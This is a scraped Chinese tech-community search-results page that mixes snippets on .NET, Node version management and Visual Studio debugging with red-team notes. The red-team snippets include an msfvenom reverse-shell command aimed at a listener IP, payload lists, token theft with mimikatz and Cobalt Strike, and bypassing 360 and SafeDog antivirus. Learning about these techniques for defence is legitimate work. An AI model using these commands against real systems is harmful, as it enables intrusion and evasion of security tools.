首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往

CoreHook:基于.NET Core运行时实现的Windows HOOK库

支持的平台 CoreHook支持在运行Windows的各种体系结构上进行应用程序函数调用拦截。还计划了Linux和macOS支持。...,x64 Windows 8.1 x86,x64 Windows 10(Win32) x86,x64,ARM Windows 10(UWP) x86,x64 Windows Server 2008 x86...,x64 Windows Server 2012 x86,x64 Windows Server 2016 x86,x64 Windows Server 2019 x86,x64 依赖 1..NET核心...本指南假设您已.NET Core 2.2为x86和x64体系结构安装了运行时或SDK。 注意:使用 本地计算机用户名替换或修改指向NuGet软件包安装位置的路径。...您可以将这些文件添加到目标程序的目录中,也可以将它们添加到路径中。您可以通过安装 Windows调试工具来获取这两个DLL 。 您可以找到dbghelp.dll和的示例位置symsrv.dll: 1.

1.7K20
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    NVS —— js 实现的node版本管理工具

    在launch.json(.vscode位于项目根文件夹中的文件夹中)中,添加"runtimeArgs"带有 NVS 版本字符串的"runtimeExecutable"属性 ,以及指向nvs.cmd(Windows...但是,所有用于查询可用版本,下载和安装 Node.js 以及匹配 npm ,切换版本/体系结构/引擎,卸载,解析和更新 PATH 等的代码都可以用 JavaScript 编写,并且大多数都是以跨平台的方式编写的...例如,每个构建都位于基于远程名称,语义版本和体系结构的子目录中node/6.7.0/x64. 当您使用nvs use一个版本时, 当前shell的会更新PATH为包括该版本的bin目录....在 Windows 上,PATH环境变量在用户配置文件中更新,因此新的 Shell 将使用默认版本。...在 Windows 上,在创建符号目录链接%ProgramFiles%\Nodejs,并将该目录添加到系统PATH中。

    2.4K30

    NVS —— js 实现的node版本管理工具

    在launch.json(.vscode位于项目根文件夹中的文件夹中)中,添加"runtimeArgs"带有 NVS 版本字符串的"runtimeExecutable"属性 ,以及指向nvs.cmd(Windows...但是,所有用于查询可用版本,下载和安装 Node.js 以及匹配 npm ,切换版本/体系结构/引擎,卸载,解析和更新 PATH 等的代码都可以用 JavaScript 编写,并且大多数都是以跨平台的方式编写的...例如,每个构建都位于基于远程名称,语义版本和体系结构的子目录中node/6.7.0/x64. 当您使用nvs use一个版本时, 当前shell的会更新PATH为包括该版本的bin目录....在 Windows 上,PATH环境变量在用户配置文件中更新,因此新的 Shell 将使用默认版本。...在 Windows 上,在创建符号目录链接%ProgramFiles%\Nodejs,并将该目录添加到系统PATH中。

    1.7K30

    【CS学习笔记】17、登录验证的难点

    与每个进程和线程相关联 包括: 用户和用户组的信息 本地计算机上的特权列表 限制(删除用户和用户组的权限) 参考凭证(支持单点登录) 一直保存在内存中,直到系统重启 以下是令牌窃取的过程: 使用 ps...进行获取,具体的方法可参考《CS学习笔记 | 14、powerup提权的方法》这一节中的介绍。...这里还是和上文一样的环境,在一个 SYSTEM 会话下,获取 TEAMSSIX\administrator 账号令牌,使用 mimikatz 可以得知 TEAMSSIX\administrator 账号密码为...这两种方法,在之前的笔记中都或多或少的提及过,这里不再过多赘述。...1、mimikatz 使用登录令牌开启了一个进程,在单点登录信息那里填入我们提供的用户名称、域、密码哈希值 2、cobalt strike 自动的从那个进程中窃取令牌并关闭 原文链接:https://www.teamssix.com

    1K10

    fsi.exe和cdb.exe白名单的利用

    0x01 fsi.exe白名单的利用 fsi.exe、fsianycpu.exe是FSharp解释器,这些具有Microsoft签名的二进制文件包含在Visual Studio中,可用于在命令行下直接执行...Fsi.exe在64位的环境中执行,Fsianycpu.exe则使用“机器体系结构来确定是作为32位还是64位进程运行”。...C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\cdb.exe C:\Program Files (x86)\Windows Kits\10\Debuggers...\x86\cdb.exe MSF监听并执行: msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.1.120 LPORT=443 -f c...将cdb.exe白名单和刚生成的shellcode.wds一起上传至目标主机的可读写目录中,然后在中国菜刀的虚拟终端执行以下命令后即可得到反弹cmdshell,如遇360时只需加上cmd /c就能绕过。

    98820

    在Visual Studio2013中编译使用libcurl库

    我在自己的Windows10系统下同时安装了Visual Studio 2017和Visual Studio 2013。...为了使用Visual Studio 2013编译出X86环境的libcurl库,我使用的是:VS2013 x86 本机工具命令提示,当然如果想编译成X64的库,可以选择VS2013 x64 本机工具命令提示或者...可以使用DEBUG=yes编译Debug版本的库,默认是Release版本的; MACHINE=x64可以编译生成x64的库,默认是x86的。...debug和release版的dll动态库,稍作整理,形成如下的目录结构: 卷 Data 的文件夹 PATH 列表 卷序列号为 3EE8-BA3A D:. │ tree.txt │ ├─bin │...当然我使用的debug x86模式的程序,release的x86也类似,x64的也是,加上对应的头文件和库文件即可。 头文件加入后,相关的红色错误消失了,如下图所示: ?

    5.3K20

    C# 客户端程序Visual Studio远程调试方法

    前言 传统桌面客户端的远程调试相比UWP,ASP等项目来说,配置比较麻烦,因为它是非部署的应用程序,原理是复制编译的文件到远程计算机,通过网络来连接和VS的通信,本文主要讲述WPF,WinForm应用程序的远程调试...下载与要安装远程工具的计算机具有相同体系结构的远程工具。例如,如果要在运行 x64 操作系统的远程计算机上调试 x86 应用程序,请安装 x64 远程工具。...或者x86到你的远程计算机中,运行文件夹中的 msvsmon.exe 配置身份验证模式:工具 => 选项 => Windows 身份验证或者无身份验证,前者需要在连接时进行身份验证: 确认就可以了...可能出现的问题: 如果出现无法命中断点,提示未加载任何符号集啥的,就重新在本地编译一遍,然后将编译好的Debug文件下的内容复制到远程主机上再来。...远程调试错误和疑难解答 排查远程调试问题 远程调试可能出现的问题有很多,建议就是x64、x86都复制进去,出错了就两个换着来,还有身份验证模式,怎么能用怎么来嘛,对吧。

    57330

    C# 客户端程序 Visual Studio 远程调试方法

    传统桌面客户端的远程调试相比UWP,ASP等项目来说,配置比较麻烦,因为它是非部署的应用程序,原理是复制编译的文件到远程计算机,通过网络来连接和VS的通信,本文主要讲述WPF,WinForm应用程序的远程调试...下载与要安装远程工具的计算机具有相同体系结构的远程工具。例如,如果要在运行 x64 操作系统的远程计算机上调试 x86 应用程序,请安装 x64 远程工具。...或者x86到你的远程计算机中,运行文件夹中的 msvsmon.exe 配置身份验证模式:工具 => 选项 => Windows 身份验证或者无身份验证,前者需要在连接时进行身份验证: 确认就可以了...可能出现的问题: 如果出现无法命中断点,提示未加载任何符号集啥的,就重新在本地编译一遍,然后将编译好的Debug文件下的内容复制到远程主机上再来。...远程调试错误和疑难解答 排查远程调试问题 远程调试可能出现的问题有很多,建议就是x64、x86都复制进去,出错了就两个换着来,还有身份验证模式,怎么能用怎么来嘛,对吧。

    53440

    接触过的第一台电脑-90年代的x86与如今的树莓派

    现在回顾一下,也许那就是x86的起源吧。当然现在更多用x64。 x86 和 x64 是什么意思? 为了弄清楚 32 位和 64 位之间的区别是什么,需要知道 x86 和 x64 指的是什么。...实际上,当与x86体系结构兼容时,64位处理器被称为x86-64或x86-32,用于32(和16)位版本。但是,64 位处理器最终缩短为 x64,32 位处理器缩短为 x86。...那些预装Windows的笔记本电脑通常是x64。相反,较旧的计算机可能是Windows x86。 在大多数情况下,在处理大块数据时,64 位处理器比 32 位处理器更有效地工作。...如果使用的是 64 位 Windows PC,则可以在 C 驱动器上找到一个名为程序文件 (x86) 的文件夹。...80486是将80386和数字协处理器80387以及一个8KB的高速缓存集成在一个芯片内,并在X86系列中首次使用了 RISC(精简指令集)技术,可以在个时钟周期内执行一条指令。

    6.8K00

    浅谈个人对一个高性能红队建设的一些想法

    在演练中,一个组织架构良好的攻击队无疑会提高攻击效率,才学薄浅,有幸在这里和大家简单谈谈一个高性能的攻击队组成: 首先我们来看一下红队和蓝队的主要职责和目标: 红队一般从互联网寻找入口进行渗透测试进入到内网...cdn检测、真实ip检测、系统中间件容器语言、V**、员工编号、员工邮箱、员工信息、企业ip段等信息收集 B组 负责任务:为C组打开系统边界入口 能力要求:web渗透、近源渗透 C组 负责任务:内网渗透,获取内网中关键系统权限...linux/x86/shell_bind_tcp linux/x86/shell_reverse_tcp linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp.../meterpreter/reverse_tcp windows/x64/meterpreter/bind_tcp windows/x64/shell_reverse_tcp windows/x64/shell_bind_tcp...系统备份文件(ghost)中读密码 在已有控制权限主机中,查看各浏览器书签、cookie、存储密码、键盘记录收集相关敏感信息、查询注册表中保存密码、读取各客户端连接密码、putty dll 注入、putty

    1.7K20

    预编译好的WebRTC库(翻译文)

    本文翻译自 https://sourcey.com/precompiled-webrtc-libraries 在开发Webrtc过程中,下载超过10GB的庞然大物和众多的依赖,为加快开发进度。...使用方法   为自己节省创建WebRTC的泪水和挫折。预编译的本地WebRTC库和头文件可在本文末链接打开选择下载。Linux和Windows的调试和发布版本是为x86和x64架构提供的。   ...为了方便起见,所有静态WebRTC库都已合并到单个库中(Windows上的lib webrtcfull.lib和Linux上的lib webrtcfull.a),因此您只需将这一个库与项目链接,即可包含所有...文件夹结构已经设置,因此您可以将同一版本的x64和x86存档文件提取到单个根目录中: webrtc-build/├── third_party/ x64版本库 ├── x86/ │ ├── Debug x86调试库 │ ├── Release x86版本库 构建细节   Windows库是用

    2.8K30

    记一次绕过安全狗和360提权案例

    安全狗"禁止IIS执行程序"限制了命令执行; 360"进程防护"拦截了执行木马和提权、抓明文等; 这篇文章我们就来分享下在这种场景下的绕过思路,以及在测试中遇到的一些问题。..." sysinfo看了下系统基本信息,可以看到目标系统为x64,而获取的主机会话为x86,这是因为iis应用池设置启用了32,所以我们在利用加载w3wp.exe内存上线时也必须用x86的Payload...看了下进程列表中只有一个x86的w3wp.exe,没有其他可用于迁移的x64进程,不过有看见MSSQL数据库相关进程,所以我们可以通过执行sqlps.exe得到一个可迁移的x64进程。...x86:C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe x64:C:\Program Files (x86)\Microsoft SQL Server...以我之前测试360的经验来说,在x86下是很难绕过360去执行程序的,特别是在IIS这种场景下,所以我们选择先用进程迁移这种方式,然后再去通过x64下的白名单去绕过360执行木马上线和提权等。

    1.3K30

    .NET平台系列17 .NET5中的ARM64性能

    对于x86 / x64体系结构,.NET开发人员可以使用命名空间System.Runtime.Intrinsics和System.Runtime.Intrinsics.X86下的一组API访问这些指令。...使用ARM64硬件内部函数优化.NET库代码 在.NET Core 3.1中,我们使用x86 / x64内部函数优化了.NET库的许多关键方法。...当在支持x86 / x64内部指令的硬件上运行时,这样做可以提高此类方法的性能。对于不支持x86 / x64内在函数的硬件(例如ARM机器),. NET将回退到这些方法的较慢实现。...我们将精力集中在已经使用x86 / x64内在函数进行了优化的方法上,因为这些方法是基于较早的性能分析(我们不想重复/重复)而选择的,并且我们希望该产品在各个平台上具有大致相似的行为。...展望未来,当我们优化.NET库方法时,我们期望同时使用x86 / x64和ARM64硬件内在函数作为我们的默认方法。我们仍然必须决定这将如何影响我们接受的PR的政策。

    65510

    浅谈个人对一个高性能红队建设的一些想法

    在演练中,一个组织架构良好的攻击队无疑会提高攻击效率,才学薄浅,有幸在这里和大家简单谈谈一个高性能的攻击队组成: 首先我们来看一下红队和蓝队的主要职责和目标: 红队一般从互联网寻找入口进行渗透测试进入到内网...cdn检测、真实ip检测、系统中间件容器语言、V**、员工编号、员工邮箱、员工信息、企业ip段等信息收集 B组 负责任务:为C组打开系统边界入口 能力要求:web渗透、近源渗透 C组 负责任务:内网渗透,获取内网中关键系统权限...linux/x86/shell_bind_tcp linux/x86/shell_reverse_tcp linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp.../meterpreter/reverse_tcp windows/x64/meterpreter/bind_tcp windows/x64/shell_reverse_tcp windows/x64/shell_bind_tcp...系统备份文件(ghost)中读密码 在已有控制权限主机中,查看各浏览器书签、cookie、存储密码、键盘记录收集相关敏感信息、查询注册表中保存密码、读取各客户端连接密码、putty dll 注入、putty

    70310

    记一次绕过安全狗和360提权案例

    安全狗"禁止IIS执行程序"限制了命令执行; 360"进程防护"拦截了执行木马和提权、抓明文等; 这篇文章我们就来分享下在这种场景下的绕过思路,以及在测试中遇到的一些问题。..." sysinfo看了下系统基本信息,可以看到目标系统为x64,而获取的主机会话为x86,这是因为iis应用池设置启用了32,所以我们在利用加载w3wp.exe内存上线时也必须用x86的Payload...看了下进程列表中只有一个x86的w3wp.exe,没有其他可用于迁移的x64进程,不过有看见MSSQL数据库相关进程,所以我们可以通过执行sqlps.exe得到一个可迁移的x64进程。...x86:C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe x64:C:\Program Files (x86)\Microsoft SQL Server...以我之前测试360的经验来说,在x86下是很难绕过360去执行程序的,特别是在IIS这种场景下,所以我们选择先用进程迁移这种方式,然后再去通过x64下的白名单去绕过360执行木马上线和提权等。

    86120
    领券